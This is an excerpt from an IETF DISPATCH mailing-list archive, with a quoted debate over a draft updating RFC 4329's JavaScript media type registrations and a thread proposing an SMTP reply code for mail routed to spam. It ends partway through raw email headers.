Appendix A of RFC >> > 6838 only applies if the type is being registered in, say, >> > the vendor tree, which AFAICT is not the case here. >> >=20 >> > Of course the fact that you can register names beginning >> > with "X-" doesn't mean you should. So if you're doing this, >> > a note explaining why ths makes sense would be a good idea. >>=20 >> Let me go a half-step further than Ned. Given the language = in >> RFC 6648/ BCP 178, not explaining why it makes sense would >> create a situation in which an Informational specification in >> the IETF Stream was violating an IETF BCP. Without a clear >> explanation in the document, one which I believe should have >> been identified in the Last Call, that would create an >> intolerable situation of the IETF ignoring its one "best >> practice" specifications. >>=20 >> > However, the better question is why are all these obsolete >> > type names being registered separately. RFC 6838 section >> > 4.2.9 explains the proper way to handle old names for the >> > same media type, and the registration form now contains a >> > field for listing all of these names. >>=20 >> > If you're going to register a bunch of separate types for a >> > bunch of similar things, you need to explain why you're >> > doing things this way, and more importantly, why they >> > warrant having different names. >> >=20 >> > And since in this case all of these additional = registrations >> > are marked as obsolete, I fail to see why they aren't being >> > handle as deprecated aliases. Or, to pur this another way, >> > why not simply list all 15 (!) aliases in the registration >> > for text/javascript and get rid of section 6.2 entirely? >>=20 >> Now, as I see it, that is an introduction to several = problems. >> First, because ECMA-262 has evolved, some of those types may >> not actually be aliases but pointers to obsolete versions of >> the specifications (see below). Of course, if that is the >> case, the document should say so. That relationship is one >> of the many ways in which it is impossible for the I-D to be >> the claimed simple update to RFC 4329 (part of the basis for >> its progressing this far) without _introducing_ errors that >> 4329 did not have. >>=20 >> Looking for a moment only at the IANA registry, Ned is the >> lead Media type reviewer/ Designated Expert for the registry >> and under RFC 6838, not just for the Vendor and Personal >> Trees but for "requests made by other recognized standards >> organizations". If we have seen a request _From ECMA_, I have >> not been able to find where that is documented. I would have >> expected to see it in both the Last Call announcement and in >> the draft IESG document action announcement as well as the >> document itself, and it appears in none of those places. >> Putting those documentation issues aside for the moment, if >> this was a request from ECMA and Ned does not believe the >> registration request or documentation meets the requirements, >> unless Alexey or Murray can convince him otherwise, the >> document is essentially, as the saying goes, dead in the >> water: while we give great deference to requests from other >> recognized standards organizations, we have no rule about >> overriding the decision of a Designated Expert, even by an >> IETF Stream Informational RFC. Nor do we have rules that say >> that, when there are multiple Designed Experts, two of them >> can outvote the other one. And IANA takes direction from the >> Designated Experts. >>=20 >> Now let's assume there was no request from ECMA and that this >> document represents the request and opinion of the authors. >> There are then a few other problems which I didn't catch >> until I studied the document and the registry over the >> weekend. >>=20 >> First, these registrations started out with the preferred one >> (in the registry) as application/javascript and >> application//ecmascript. RFC 4329 establishes that >> preference, identifying text/javascript and text/ecmascript >> as obsolete (which is how they are defined in the registry) >> and asserted that 'Use of the "text" top-level type for this >> kind of content is known to be problematic.' (see its Section >> 3, a section that appears to have been dropped from the I-D >> without comment -- not, at least IMO, a "fairly simple >> update"). The current I-D apparently proposes to change >> that, identifying text/javascript as the preferred form and >> marking application/javascript as obsolete. But it lacks, at >> least IMO, a clear explanation as to why that change, with >> the preference reversed a second time, is being made. That >> also raises the obvious question of whether, in another >> half-dozen years, the decision will not be reversed again. I >> can find no explanation if the I-D as to why that is unlikely >> to be the case, only a preference for the text/ form today. >>=20 >=20 > text/javascript is already the de facto preferred MIME type > for JavaScript. Our I-D aims to update RFC4329 to align with > this reality. The HTML Standard, which all browser > implementations follow, is explicit about this: > https://html.spec.whatwg.org/multipage/scripting.html#scriptin > gLanguages >=20 > Servers should use text/javascript for JavaScript resources. > Servers should not use other JavaScript MIME types for > JavaScript resources, and must not use non-JavaScript MIME > types. >=20 >=20 > Our I-D states, in its abstract: >=20 > This document obsoletes RFC4329, "Scripting Media Types", > replacing the previous registrations for "text/javascript" and > "application/javascript" with information and requirements > aligned with implementation experiences. >=20 >=20 > =E2=80=A6and in its Introduction section: >=20 > updates the requirements for implementations using those media > types defined in [RFC4329] based on current existing practices >=20 >=20 >=20 > Equally important, RFC 6838, supplemented by RFC 6657, imposes >> far fewer restrictions on applications/* types than it does = on >> text/* types. For the latter, the discussion in Section 4 of >> the I-D very strongly implies that these media types are not >> "Text Media Types" as defined in Section 4.2.1 of RFC 6838 = and >> should therefore be application/* types. It may be that the >> text in the I-D is just confusing (if Ned is convinced these >> are appropriate text/* types, I defer to his judgment), but >> that is more evidence that this document is not ready for >> prime time... probably to the extent that it never should >> have been put into Last Call. Or, if that is not the >> problem, this specification does not get to violate RFC >> 6838's provisions without either a clear explanation or >> updating that document (which would presumably require a >> clear explanation). >>=20 >> Assuming text/javascript is appropriate, this I-D also >> violates Section 4.2.1 of RFC 6838 in another way, where the >> fourth paragraph of that section starts by saying >>=20 >> 'If a "charset" parameter is specified, it SHOULD be = a >> required parameter, eliminating the options of >> specifying a default value. If there is a strong >> reason for the parameter to be optional despite this >> advice, each subtype MAY specify its own default >> value, or alternatively, it MAY specify that there is >> no default value.' >>=20 >> The subsequent text that talks about "strong reason for the >> parameter to be optional" strongly implies that there should >> be an explanation in the relevant document (in retrospect, we >> should have explicitly required that). I don't see that >> explanation even attempted unless it is the text about the = use >> of "charset" with one target and not with others (again, >> confusing at best). >=20 >=20 > See Section 4: >=20 > How implementations determine the character encoding scheme > can be subject to processing rules that are out of the scope > of this document. For example, transport protocols can require > that a specific character encoding scheme is to be assumed if > the optional charset parameter is not specified, or they can > require that the charset parameter is used in certain cases. > Such requirements are not defined by this document. >=20 >=20 > How can we make this more clear? >=20 > Equally or more important, Section 4.1 of >> the I-D says that the value of the charset parameter "SHOULD >> be a registered charset" while the second paragraph of = Section >> 4.2.1 of 6838 says "MUST". That is a clear violation of RFC >> 6838 and as noted above, this I-D does not get to violate or >> change BCP 13, at least without a very clear explanation that >> can be reviewed and evaluated by the IETF, not just waived = off >> in passing as repeating the errors of RFC 4329. >>=20 >=20 > I'd point to the same passage in section 4. This all depends > on the host environment. MUST does not seem appropriate since > there are valid use cases for omitting the charset parameter > from the media type itself, e.g. when the charset is already > specified in HTML directly: >=20 > As a meta-point, I will say that it is frustrating that, while > making an effort to update RFC 4329 to align it with a changed > reality, we're also burdened with fixing any and all other > mistakes made in that original RFC. And it saddens me that > until those unrelated mistakes are addressed, there continues > to be no official media type registration for JavaScript > modules, despite implementations supporting this since 2017 > already. Meanwhile, the JavaScript ecosystem continues to be > blocked on module support. >=20 > That isn't all. If the Mozilla piece cited by Mathias at >> https://mathiasbynens.be/demo/javascript-mime-type is = relevant >> and the reason for registering these dead/ obsoleted = documents >> is because they were in use somewhere, then I don't = understand >> why the "FAIL" "javascript+FOO" media types are not on the >> list proposed for registration (or treatment as Ned = suggests). >>=20 >=20 > I think there's a misunderstanding. There's no "Mozilla > piece" being cited here; if you see the string "Mozilla" on > that page, it's your browser's User-Agent string ( > https://datatracker.ietf.org/doc/html/rfc7231#section-5.5.3) > being reflected. This document is a test case attempting to > load scripts with all the JavaScript media types and > deprecated aliases in the draft (all of which PASS in all > browsers), as well as some intentionally invalid ones (e.g. > text/fluffscript) that are expected to FAIL. Inspect the HTML > source code to see how it works. >=20 > In addition, the proposed registrations, including the one for >> text/javascript that is intended to be the one that survive = as >> relevant, invite the user to go on a wild goose chase, = sending >> them to look at the RFC that succeeded the I-D and then to >> ECMA 262 (without any section numbers or other hints) and >> back to the present document. That is not, at least IMO, how >> the media type registry was intended to work, even if the >> goose is eventually captured. >>=20 >> Even more important, but part of the same general problem, = the >> "Interoperability considerations" subsection that is part of >> each of the registrations (and is new text that cannot be >> blamed on RFC 4329) appears to say something equivalent to >> "whatever this media type says it is, treat it as if the >> current version of 'text/javascript' as specified in ECMA-262 >> had been specified". If that is the intent, the text should >> say so _and_ point to the specific section of ECMA-262 that >> requires strict backward compatibility in the present and all >> future versions. >>=20 >=20 > I don't think there is such a section, but it is the case > that https://tc39.es/ecma262/ is a "living standard" in > practice, with browser and other implementations updating > their JavaScript feature set all the time. Here's the list > of active proposals for new JavaScript features: > https://github.com/tc39/proposals#readme Browsers and other > implementations start shipping features once they reach > "Stage 3". >=20 > Resolving "implementation and ecosystem compatibility > issues" is a requirement for any new features to land in the > ECMAScript spec: > = https://tc39.es/process-document/#:~:text=3Dimplementation%20and > %20ecosystem%20compatibility%20issues There is no strict 100% > back/forwards compatibility requirement, however, and there > have been rare cases where we've been able to correct > historical mistakes after determining that doing so didn't > "Break The Web" / break existing code. These cases are > enumerated here: > https://tc39.es/ecma262/#sec-additions-and-changes-that-introd > uce-incompatibilities-with-prior-editions >=20 > The intention is really: "if this media type maps to > JavaScript, then treat it using whatever currently available > JavaScript implementation you have", keeping in mind that > the JS implementation is changing frequently, with new > features being added all the time. I'd welcome any > suggestions of how we could capture this more clearly in the > I-D. >=20 >=20 >> The material in Section 2 of the I-D (with or without the >> strange MUST to which Murray objected) does not do that. >> When I look at the current version of ECMA-262 itself, I find >> Appendix E ("Corrections and Clarifications in ECMAScript >> 2015 with Possible Compatibility Impact") and F ("Additions >> and Changes That Introduce Incompatibilities with Prior >> Editions"). They strongly imply that there are no such >> backward compatibility commitments. Even a single >> incompatibility that would cause an application to fail or >> apply a different interpretation of media types tied to >> earlier versions would be a problem (this is in the category >> of things that caused the IAB to launch a study of >> compatibility among versions of a protocol). We might >> deprecate a once-valid type because there is a newer type >> with a new definition. But having the definition of a type >> change out from under it and thereby making an application >> that assumed the original definition non-conforming... well, >> it isn't something the IETF should do and, if Ecma >> International (not just the authors) thinks it is ok, we need >> to hear from them. >>=20 >> That problem with media type stability extends to the RFC >> Style Guide. References, especially normative references, = are >> expected to be very stable. But, while the reference >> identified as [ECMA-262] itself is very stable, referring to >> the 2021, 12th Edition, of that spec, the "Interoperability >> considerations" text does not actually reference that 2021 >> version. What it references is, approximately, "whatever the >> ECMAScript specification is when you happen to read this". >> Perhaps the authors and the RFC Editor could work out how to >> do that in a reference, but the I-D is referencing the 2021 >> version in some places and the current version in others, >> using the same anchor, and that has not been acceptable at >> any time in the last 51 1/2 years. In addition, that dual >> use of the reference anchor means that the statement in >> Appendix B, "Updated references to ECMA-262 to match the >> version at time of publication" is not quite accurate because >> it is also expected to match the version at time of reading. >>=20 >> ------ >>=20 >> Bottom line: In retrospect, this document never should have >> been put into Last Call. The IESG's having done so is a >> symptom of one of the common problems with AD-sponsored >> documents, especially Informational ones, in today's IETF. >> That problem is insufficient expert review of potential >> problems in interactions with other specs and, in this case, >> with existing IANA registries and the rules for them. That >> lack of in-depth review is especially likely if something is >> presented as "just an update" or "just a replacement for an >> existing document", implying that there are no changes that >> have broad implications. Maybe it is something we should >> think about in terms of how DISPATCH works at well: perhaps a >> document like this should not be recommended for AD >> Sponsorship until it has been carefully reviewed by a team >> separate from the authors and with in-depth expertise in both >> the subject matter and the subtle issues with media types. >> That is a review that this document received only in the last >> couple of weeks and it might easily have slipped through. I >> have read the Shepherd's report and, given the assumptions it >> documents, it is probably completely correct. However, those >> assumptions include this "just" being an update to 4329 that >> does not introduce substantive changes other than those >> documented in Appendix B. That does not turn out to have >> been the case, e.g., with the change of "the intended usage = of >> the media type text/javascript from obsolete to common", = which >> has broader implications; with the use of one of the >> references; and with other issues identified above. Among >> the specific problems are that the change from a preferred >> application/* type to a text/* type is not a "simple update >> of RFC 4329" because it interacts with requirements of RFC >> 6838; the obsolete, then un-obsolete, then obsolete again >> actions (and their reverse) require more explanation than >> simply changing text; and, at least IMO, if 4329 messed up >> the IANA registries, this should not make them worse and, if >> it didn't, this I-D should not mess them up, whether >> intentionally or by being confusing beyond all acceptability. >>=20 >> There is, in addition, clearly a more general problem for the >> IESG and IETF, which is whether replacing an old document = that >> is known to have serious deficiencies with a new one that >> shares those deficiencies and doing so without even comments >> about them is a good idea. I note that no errata were filed >> against those deficiencies in 4239 but, given our treatment >> of errata (especially of the "hold for document update >> species), that should not make any difference, especially >> given that at least some of them were identified in review in >> DISPATCH. It is my personal view that, if we obsolete a >> previous document, we take on the responsibility, ideally, to >> fix its errors and inappropriate or incomprehensible text >> even if we do not fix other glitches. Even if we don't get >> to that ideal, we should at least insert a section or >> appendix that identifies the known problems that are being >> inherited. >>=20 >> However, even if the inherited problems are ignored, the = media >> type definition ones noted by Ned and the need for >> explanations that several of us have identified (including >> those in the notes above) will result in very significant >> changes to this document, changes significant enough that the >> IESG should return it to DISPATCH and initiate another Last >> Call when it is actually ready. >>=20 >> john >>=20 >>=20 >>=20 >>=20 >>=20 >>=20 From nobody Wed Jan 12 07:44:00 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id BE4C23A121C for ; Wed, 12 Jan 2022 07:43:58 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.097 X-Spam-Level: X-Spam-Status: No, score=-2.097 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, FREEMAIL_FROM=0.001, HTML_MESSAGE=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=gmail.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id I6N0Qh7r8NsD for ; Wed, 12 Jan 2022 07:43:54 -0800 (PST) Received: from mail-vk1-xa2f.google.com (mail-vk1-xa2f.google.com [IPv6:2607:f8b0:4864:20::a2f]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 94CA33A11F3 for ; Wed, 12 Jan 2022 07:43:54 -0800 (PST) Received: by mail-vk1-xa2f.google.com with SMTP id g5so1985800vkg.0 for ; Wed, 12 Jan 2022 07:43:54 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=nFegdlbPThBkT9g63E2lFN2eBi5GS4S5A366xv3XWvE=; b=LS++EOCTXD/7q36W7Q311dE/7th5tqH1hiqRySY+CK1GLv3JL8uZcZ8+Z/JNeAB+bt 4OB5YU1fmzgOaNJo9wAPZoFt6zbrRzz4YAmLiUzmSAtiyDYaq4bVwdrFnp7Dkc1HJc7P /8jXoljIVMtjnGqfObqme7ruFXxFHNKPBO050KifHIg+JP0mQAnNqnxAw1uEVBOr5F+R p+EmP/sUGMufQj6jXzMfWgbrr52TvwopuP4MMpZCFTlA5VmkItYa765DNo+ccS9YevHH HUhkFT22i2DQ8xjk0CpIz2C7ERHPljdlmNrbRPJWJFt0yGTfagV8JO6Ps6mP6lcLPdmC qbLA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=nFegdlbPThBkT9g63E2lFN2eBi5GS4S5A366xv3XWvE=; b=ErA40YB6i8xpLNRyMtjrz7GEA5FSHqLQWxTwf7Jr0wB4t4QOZRFJBHJEvO4ZyAcd0N OzISIumdiewXmDUCMDKo2NzhXtMl14wguSK/yocFSDeGXcRKBJEbU1CdxQkn0JcWAZAZ HjrcT+N/xUi/LxK8mmpzTvd+1RQr8f/3B45j08SldFuySNyrxqmHjjEGFQBRTD0SggCZ G4G2iW+VkmaEL27L9f6+pRcBNDKHrDJnTNYewMUyLzURxPGM9flQUdL33oLVSuwWTUWb wtXRR41PaSDDynHOXJ/aP9lyYVrjp7po4ja5HbOMKTnR3lNkgmaeTnX+auzWwZ5SQiTX 8WJQ== X-Gm-Message-State: AOAM533IJoxezAZM8T78ExDbc3u3nqGDtc8lc+Vp+36ksIm4xNoUr5BT HtCzlAiQ2CHkOR3v7DNKAwE4ofpjrIiZw/mjt6mK/pEPs9Q= X-Google-Smtp-Source: ABdhPJxqzCXKwymoMbkblaGwLZppTUG5hOGtZ/eGeKRdEpAtLkt5hZSsaJrNEjah9ga2oWi3CTZ5LYc3WxY8T0wOVCA= X-Received: by 2002:a05:6122:a16:: with SMTP id 22mr187459vkn.8.1642002232142; Wed, 12 Jan 2022 07:43:52 -0800 (PST) MIME-Version: 1.0 References: In-Reply-To: From: "Murray S. Kucherawy" Date: Wed, 12 Jan 2022 07:43:41 -0800 Message-ID: To: "Brotman, Alex" Cc: "dispatch@ietf.org" Content-Type: multipart/alternative; boundary="000000000000c4715b05d5646f1a" Archived-At: Subject: Re: [dispatch] SMTP Code for Undesirable Messages X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Jan 2022 15:43:59 -0000 --000000000000c4715b05d5646f1a Content-Type: text/plain; charset="UTF-8" On Fri, Dec 17, 2021 at 9:05 AM Brotman, Alex wrote: > I've been wondering if it may be beneficial for a mailbox provider to be > able to signal back to the sender that the message is being accepted, but > is undesirable based on some criteria. The idea would be that a provider > may evaluate some characteristics of the message, and before issuing a "250 > Ok" have already determined the message would be routed to the spam > folder. Something as simple as: > > 255 Ok - Routing to spam folder > > This would likely need some "Security Considerations" section about how > informing a malicious entity may be undesirable. I'm willing to write this > up as a proposed draft, though I'm not entirely sure where to direct that > draft. Thank you for any advice you could provide. > Two things, one substantive and one procedural: (1) On procedure: This might be better raised on either the SMTP mailing list or the ART mailing list. DISPATCH is mostly for talking about live or proposed work items, like when there's a draft ready to bring to the table for disposition. (2) On substance: Why not register an enhanced status code for this instead of a new SMTP reply code? See https://www.iana.org/assignments/smtp-enhanced-status-codes/smtp-enhanced-status-codes.xhtml and the RFC it references. -MSK --000000000000c4715b05d5646f1a Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
On Fri, Dec 17, 2021 at 9:05 AM Brotman, = Alex <Alex_Brotman=3D40c= omcast.com@dmarc.ietf.org> wrote:
I've been wondering= if it may be beneficial for a mailbox provider to be able to signal back t= o the sender that the message is being accepted, but is undesirable based o= n some criteria.=C2=A0 The idea would be that a provider may evaluate some = characteristics of the message, and before issuing a "250 Ok" hav= e already determined the message would be routed to the spam folder.=C2=A0 = Something as simple as:

255 Ok - Routing to spam folder

This would likely need some "Security Considerations" section abo= ut how informing a malicious entity may be undesirable.=C2=A0 I'm willi= ng to write this up as a proposed draft, though I'm not entirely sure w= here to direct that draft.=C2=A0 Thank you for any advice you could provide= .

Two things, one substantive and one p= rocedural:

(1) On procedure: This might be better raised = on either the SMTP mailing list or the ART mailing list.=C2=A0 DISPATCH is = mostly for talking about live or proposed work items, like when there's= a draft ready to bring to the table for disposition.

<= div>(2) On substance: Why not register an enhanced status code for this ins= tead of a new SMTP reply code?=C2=A0 See http= s://www.iana.org/assignments/smtp-enhanced-status-codes/smtp-enhanced-statu= s-codes.xhtml and the RFC it references.

-MSK<= br>
--000000000000c4715b05d5646f1a-- From nobody Thu Jan 13 07:06:59 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 8239B3A1331 for ; Thu, 13 Jan 2022 07:06:57 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.997 X-Spam-Level: X-Spam-Status: No, score=-1.997 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HTML_MESSAGE=0.001, HTTPS_HTTP_MISMATCH=0.1, RCVD_IN_DNSWL_BLOCKED=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=comcast.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id HCUenfJlR4Qs for ; Thu, 13 Jan 2022 07:06:53 -0800 (PST) Received: from mx0b-00143702.pphosted.com (mx0b-00143702.pphosted.com [148.163.141.77]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 6436F3A1329 for ; Thu, 13 Jan 2022 07:06:53 -0800 (PST) Received: from pps.filterd (m0184889.ppops.net [127.0.0.1]) by mx0b-00143702.pphosted.com (8.16.1.2/8.16.1.2) with ESMTP id 20DD4cVN004978; Thu, 13 Jan 2022 10:06:51 -0500 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=comcast.com; h=from : to : cc : subject : date : message-id : references : in-reply-to : content-type : mime-version; s=20190412; bh=VChQ79UlMKOlRBGQhAo/A/PnN6vSkr5iuS3C/12jIxg=; b=Xw+NAtDH170qYqkAHfIb2u/A6du9PRQD7tDZWbTbtZCEFa/45HWWFrLQnsX8cG1ZT1BT 3uoUJ1OcsYS7fpl+GqDtRsS4wl0gJ66LNppBchvY4J+mtw95+MkgkTtYNTnYhtgDCWtH 02BtO/OaHHukugLMvCPYjpj67DCvBtaee0TEL03/4k2p6rwMm3ATewcaZVHvpUSVedD4 rJjMlUemSnWAJpKNAEC0hgFPl/jhHwQCukzr2gmHLQhCkBzk7HWUlDKbvNIdwmRz9fhl Vb5GM8jBqAOjZ31MrO51NL5a5X1wGgBUpcd7P3zdQgsEGlU4cmYRI9rMz6KURYwnXAwo QQ== Received: from pacdcexop03.cable.comcast.com (dlppfpt-wc-1p.slb.comcast.com [96.99.226.136]) by mx0b-00143702.pphosted.com (PPS) with ESMTPS id 3dj4qpedj9-27 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-SHA384 bits=256 verify=NOT); Thu, 13 Jan 2022 10:06:51 -0500 Received: from PACDCEXOP01.cable.comcast.com (24.40.1.148) by PACDCEXOP03.cable.comcast.com (24.40.1.150) with Microsoft SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.986.14; Thu, 13 Jan 2022 10:06:43 -0500 Received: from PACDCEXEDGE01.cable.comcast.com (76.96.78.71) by PACDCEXOP01.cable.comcast.com (24.40.1.148) with Microsoft SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384) id 15.2.986.14 via Frontend Transport; Thu, 13 Jan 2022 10:06:43 -0500 Received: from NAM12-BN8-obe.outbound.protection.outlook.com (104.47.55.175) by webmail.comcast.com (76.96.78.71) with Microsoft SMTP Server (TLS) id 15.0.1497.26; Thu, 13 Jan 2022 10:06:22 -0500 Received: from MN2PR11MB4351.namprd11.prod.outlook.com (2603:10b6:208:193::31) by MN2PR11MB4048.namprd11.prod.outlook.com (2603:10b6:208:153::29) with Microsoft SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.4888.11; Thu, 13 Jan 2022 15:06:19 +0000 Received: from MN2PR11MB4351.namprd11.prod.outlook.com ([fe80::90bb:db8:f9ab:4e6b]) by MN2PR11MB4351.namprd11.prod.outlook.com ([fe80::90bb:db8:f9ab:4e6b%6]) with mapi id 15.20.4888.011; Thu, 13 Jan 2022 15:06:19 +0000 From: "Brotman, Alex" To: "Murray S. Kucherawy" CC: "dispatch@ietf.org" Thread-Topic: [dispatch] SMTP Code for Undesirable Messages Thread-Index: AdfymVbT1ppYqdqeTb6JDq5MlnYoIAVMdVyAADDkv/A= Date: Thu, 13 Jan 2022 15:06:19 +0000 Message-ID: References: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-ms-publictraffictype: Email x-ms-office365-filtering-correlation-id: 509e58f3-7f62-4756-33fa-08d9d6a64145 x-ms-traffictypediagnostic: MN2PR11MB4048:EE_ x-microsoft-antispam-prvs: x-ms-oob-tlc-oobclassifiers: OLM:10000; x-ms-exchange-senderadcheck: 1 x-ms-exchange-antispam-relay: 0 x-microsoft-antispam: BCL:0; x-microsoft-antispam-message-info: 6eSWmCDJaia8cTBvdz+aXq9vTG1UUoaiep+CSRc1Gl5RhGs6FCb/M1aAJC/xmPnzSOhs1tTw8Fk/WJRn2ou5luMEKjutYZE/vF2Pvk7rlPltrsv7JKcZGpNnK6T3eWeimUSa7s1wXyy3cF0FFYNsD2CupNyzI4MH4VJA49vjxH5U6C9u+zPvDkrkgtj14YIKi7ITp5qjlLyqlIE73t0pn5nk4iy17BRGeweiH6BsoONQ9QUUdj8v+QYm6p+6hhhOARyhDiVZi6IwQjMXqqAlmSsYLXJiO8ih0vSTLqmTV84nFSNUdep7kYLtGgSLUj9oFxb2z1xt12yPMk8GTTK0HMozF5+vDndEyzBZnvaryQDj2jN4RhCD4ruyGtitWEnKDc1mvs607FhlhPdFkpOj1YbNqf7P9DEa6oZqdg9PXgmdVWTQjAvHJr629FUxjXo0JFfk5yDI5zFVB8IiQ7uDy5hr61bY/XaEUJC13wen5tfRlD6glt+4wlkHLCBdKKw6TBJVlxzfyuQq7bVbNAjncfgHvKRhP6LfNOnSVM6BMGdoi8F46fHNzkx6pG6NPgiOCQY8Wszx+W3bVCXVTTwSHivhrEICPwOAipuxpk6mZvhG3Rq/KQSWJJ7UqcGQvUYWOTOt2gwNyKSIgFmpEFJFO7ieEKTRqkAoRGTZGxt6eqComVitPwQjEhjyWC+Od87zmtV3xCkDwcLrWzxKSpQEoukojzK5wTX107va0JoI3xGuAfbVLsj0PU+udg3fa3gsd5AbxMEsQIcLy82TH3LMJQKrWr6lySLvUebFM4fAHnQ= x-forefront-antispam-report: CIP:255.255.255.255; CTRY:; LANG:en; SCL:1; SRV:; IPV:NLI; SFV:NSPM; H:MN2PR11MB4351.namprd11.prod.outlook.com; PTR:; CAT:NONE; SFS:(4636009)(366004)(83380400001)(8676002)(166002)(82960400001)(66946007)(508600001)(8936002)(5660300002)(7696005)(66446008)(64756008)(4326008)(66556008)(53546011)(6506007)(55016003)(76116006)(966005)(66476007)(86362001)(71200400001)(316002)(2906002)(15650500001)(9686003)(6916009)(122000001)(186003)(33656002)(38100700002)(38070700005)(52536014); DIR:OUT; SFP:1102; x-ms-exchange-antispam-messagedata-chunkcount: 1 x-ms-exchange-antispam-messagedata-0: =?utf-8?B?bTliaHJlaHVqT2x2cnJzeWd2MWRyOG1QbnhnclhpNkJRLzBITHNiUTlLczNU?= =?utf-8?B?TGxBbEEwNnVmaHNwR0pJVGNZZFBHblA5czFSMkRVZCsrNWo4eXpUZmJUQWRp?= =?utf-8?B?OHdHNlNUNG5OUk5rZC9wVGNaRXVaL09KOUVxQVpPU2xJTW1kNnFLbGc1TGQy?= =?utf-8?B?bk93SlRYWDlwc2tvQ0hYSVhxM2YrTHF6dG95Y1dzUmg1TVFFemk2UmtzYzlz?= =?utf-8?B?MWRnUkoyeTg3SzN1czRKZzJrTlJIbVNqRDNPSmptcW1QREh5eExRMGx4Q2Fa?= =?utf-8?B?bnpDUS9Jam9jNnFtSURBMVZXNDJobE10YjVaaXVXalk5U25tN2VXNXhta25n?= =?utf-8?B?Z0J4QWg0MmVNcXh1SncwS0VSQ09KblhncWxrL1NEa2RRblNMYTZ5V1ZkWElk?= =?utf-8?B?RjBFSlZ2NDBQUjRrUHV0anRGN3IvNi9FR0dTdlBkenR1bkcyUDNsYjVNc280?= =?utf-8?B?dUJLU2dSZ05lalJJbzRqZXAvTEd1dy9uZTNnRFhWQUErYzR2L1htR290S1Vv?= =?utf-8?B?WXlGTkw1a0hZaTB1MUV3Qi9WbDN3ZUhuYTcvM2dzdFQ3cjdEY3ZuMkxJN1FP?= =?utf-8?B?ZGFvRGs2RmJ2Q0NSYVR0SHg3TElsNCtyQ3VBMU13VG9PRkRmREo3elkraUdV?= =?utf-8?B?YVprcXozcjBOTmMxVG1iTC9XNmZVdmpEU2NkMllseVZ0bTdLWFptRlVNVWxi?= =?utf-8?B?LzNJRVpEQWdBdGZpeVhRSDN4SE9NcUkyTGlneUpPT2lHcjlaR0hvMm9nT0xy?= =?utf-8?B?T3Q1N29Cb0dpQzJRMTMxT2VzM0NUd3poU1ZSUnUxS3F3YXU4dFdmMkJnVi9F?= =?utf-8?B?Z3ZWRGtxWnRCMFQ3c2liQlFEK0NhWjNMdHU4VC9TbkhnQlZtcVp0czhuOHJr?= =?utf-8?B?NHMyWXRtWkRrSGFRaXovdUlsYzIwMmJkUmFiSTM0UmluajFYWlM1TnVPQWwy?= =?utf-8?B?bGxuYjY4WTNWditneGVhNzUxMTVQUU9sbUZRMTdLNDJRNzhud0xnT3dOcUFQ?= =?utf-8?B?SkZrMGM3V29PMlRFK1EydmlJSUo2R0VUdS9vSk9LZnE4RWhDMmx1VVNoY1ZO?= =?utf-8?B?bXEwYnZmTm5IU1NubGVobGRiWDBRbGtubi9pb1JkTFBIWlhPZ3g1cWxEdXVy?= =?utf-8?B?TjVhWG8xU1JxN2ZaZWs4VWp0azFKczBlMnk2eEhVMmdySjJyRnlqbk4vTHlM?= =?utf-8?B?N0Z6M1hxOVRENUpZWGlSeUJCOUFMTTJHK0FON3lFOUxYcGxZOFhBVW1PTlBX?= =?utf-8?B?bDNKdzlzbk1weXNhRHJFR1Y2QlBkUWtBZWxSeHBVMWJsLzd5MS93SjNwNThh?= =?utf-8?B?cFFVbUZpTDQrckVoblEyckdxcEMvSGxXMWJOL0Q1M3d4VXYxNGJuOWNQNDAv?= 